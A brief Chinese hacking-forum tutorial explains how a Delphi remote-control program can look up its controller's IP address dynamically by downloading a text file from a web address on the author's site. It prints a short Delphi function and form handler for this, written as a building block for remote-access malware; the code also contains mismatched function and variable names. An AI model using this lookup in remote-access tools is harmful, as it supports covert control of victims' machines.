delphi远控编写的动态获取IP技术实现

***************************************************************

by:lxsky

怖客：http://www.bkhack.com

***************************************************************

怖客为你提供过程函数,delphi的：
function getip(url:string):string;
var
idhttp:tidhttp;
begin
try
idhttp:=tidhttp.create(nil);
result:=idhttp.get(url);
idhttp.free;
except
result:='error';
end;
end;
procedure tform1.formcreate(sender:tobject);
begin
urltxt:='http://www.bkhack.com/down.txt';
ipname:=geturl(urltext);
if ipname='error' then
exit;
edit1.text:=ipname;
end;